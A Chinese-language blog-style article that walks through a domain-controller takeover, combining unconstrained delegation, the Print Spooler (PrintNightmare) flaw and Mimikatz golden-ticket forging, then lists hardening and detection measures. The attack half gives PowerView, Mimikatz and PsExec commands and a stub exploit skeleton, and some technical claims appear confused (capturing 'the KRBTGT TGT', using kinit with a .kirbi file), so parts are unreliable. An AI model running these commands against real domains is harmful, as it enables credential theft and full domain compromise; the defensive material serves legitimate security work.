logo

利用非约束委派与Spooler服务突破域控:黄金票据攻击全解析

作者:demo2025.10.12 04:58浏览量:39

简介:本文深度解析如何利用非约束性委派与Spooler打印机服务漏洞,结合Kerberos协议弱点制作黄金票据,实现域控制器权限突破。通过技术原理、操作步骤、防御措施三方面展开,提供可复现的攻击路径与安全加固方案。

一、技术背景与攻击原理

1.1 黄金票据的核心机制

黄金票据(Golden Ticket)是Kerberos协议中的一种高级攻击手段,其本质是伪造TGT(Ticket Granting Ticket)票据。Kerberos认证流程中,TGT由KDC(Key Distribution Center)颁发,持有有效TGT的用户可向KDC申请任意服务的ST(Service Ticket)。黄金票据攻击通过直接伪造包含高权限域账户SID(如Domain Admins)的TGT,绕过KDC的验证机制。

伪造TGT的关键在于获取KRBTGT账户的NTLM Hash。KRBTGT是域内默认创建的账户,其Hash用于加密所有TGT票据。攻击者若能获取该Hash,即可通过Mimikatz等工具生成任意域账户的黄金票据。

1.2 非约束性委派的利用价值

非约束性委派(Unconstrained Delegation)是Active Directory中的一种信任设置,允许服务账户接收用户的TGT并将其转发至其他服务。配置非约束性委派的服务账户(如域内某台服务器)在用户首次认证时,会接收用户完整的TGT并存储在内存中。

攻击者可通过以下路径利用:

  1. 诱导域管理员或高权限用户访问配置了非约束性委派的服务
  2. 从服务内存中提取用户的TGT(尤其是KRBTGT账户的TGT)
  3. 使用提取的TGT请求ST或直接伪造黄金票据

1.3 Spooler服务的攻击切入点

Windows Print Spooler服务(Spoolsv.exe)存在多个历史漏洞(如CVE-2021-1675、CVE-2021-34527),允许普通用户通过RPC接口在域控上执行任意操作。结合非约束性委派,攻击流程可优化为:

  1. 通过Spooler漏洞在域控上创建恶意服务或计划任务
  2. 利用该服务触发非约束性委派,捕获KRBTGT的TGT
  3. 基于捕获的TGT生成黄金票据

二、攻击实施步骤详解

2.1 环境准备与信息收集

2.1.1 域环境探测

使用PowerView模块扫描域内配置非约束性委派的服务账户:

  1. Import-Module .\PowerView.ps1
  2. Get-NetUser -Unconstrained | Select-Object name,userprincipalname
  3. Get-NetComputer -Unconstrained | Select-Object name,operatingsystem

2.1.2 Spooler服务状态确认

通过RPC调用检查域控是否运行Spooler服务:

  1. $domainController = "DC01.contoso.com"
  2. $session = New-PSSession -ComputerName $domainController
  3. Invoke-Command -Session $session -ScriptBlock {
  4. Get-Service -Name Spooler | Select-Object Status,StartType
  5. }

2.2 利用Spooler漏洞获取初始权限

以CVE-2021-34527(PrintNightmare)为例,使用Proof-of-Concept代码上传恶意DLL:

  1. # 简化版攻击代码框架
  2. import impacket.dcerpc.v5 as dcerpc
  3. from impacket.dcerpc.v5 import transport, epm
  4. def exploit_spooler(target_ip, dll_path):
  5. rpc_transport = transport.TCPTransport(target_ip, 49669)
  6. dce = rpc_transport.get_dce_rpc()
  7. dce.connect()
  8. # 调用Spooler的RpcAddPrinterDriverEx方法
  9. # 实际攻击需构造正确的RPC请求包
  10. print(f"Uploading DLL {dll_path} to {target_ip}")
  11. # ... 漏洞利用具体实现 ...

成功利用后,攻击者可在域控上执行任意命令,此时需快速执行内存数据转储。

2.3 非约束性委派下的TGT捕获

2.3.1 内存数据提取

使用Mimikatz的sekurlsa::tickets命令导出内存中的TGT:

  1. # 在域控上执行
  2. Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'

2.3.2 黄金票据生成

提取KRBTGT的NTLM Hash后,生成黄金票据:

  1. $krbtgt_hash = "a1b2c3..." # 替换为实际Hash
  2. $domain = "contoso.com"
  3. $username = "administrator"
  4. Invoke-Mimikatz -Command '"kerberos::golden /user:$username /domain:$domain /krbtgt:$krbtgt_hash /sid:S-1-5-21-1234567890-1234567890-1234567890 /ptt"'

2.4 横向移动与权限维持

持有黄金票据后,可通过以下方式访问域控:

  1. # 使用PsExec横向移动
  2. $ticket = Get-Content -Path "golden.kirbi"
  3. [System.IO.File]::WriteAllBytes("C:\temp\golden.kirbi", [Convert]::FromBase64String($ticket))
  4. klist purge
  5. kinit -k -t C:\temp\golden.kirbi $username@$domain
  6. .\PsExec.exe \\DC01 cmd.exe

三、防御与检测策略

3.1 委派策略加固

  1. 禁用非约束性委派:通过AD用户和计算机管理控制台,取消”账户是可信的用于委派”选项
  2. 约束性委派替代:使用资源基于约束委派(RBCD),限制可委派的服务类型
  3. 最小权限原则:仅对必要服务账户配置委派权限

3.2 Spooler服务防护

  1. 服务禁用:在非打印服务器上执行Stop-Service -Name Spooler -Force和Set-Service -Name Spooler -StartupType Disabled
  2. 漏洞修补:及时安装MSFT官方补丁(如KB5005565)
  3. 网络隔离:通过防火墙规则限制49669/TCP等RPC端口的访问

3.3 黄金票据检测

  1. 事件日志监控:关注4624(登录事件)中来源为”Kerberos Authentication”且Ticket Encryption Type为0x17的记录
  2. 异常票据检测:使用Splunk等SIEM工具分析Kerberos票据的生存期(默认10小时)和发行者(应为KDC而非客户端)
  3. Honeytoken账户:部署诱捕账户,监控其票据使用情况

四、企业安全建议

  1. 定期审计:每季度执行Get-ADUser -Filter {UserAccountControl -band 0x80000} | Select-Object Name检查非约束性委派配置
  2. 零信任架构:实施持续认证机制,减少长期有效票据的使用
  3. 攻击面管理:使用BloodHound等工具可视化域内委派关系,识别潜在攻击路径

本攻击路径结合了委派配置错误、服务漏洞利用和协议弱点,实际防御需构建多层次防护体系。企业应重点关注高权限账户的保护、服务最小化原则的执行,以及实时安全监控能力的建设。

发表评论

活动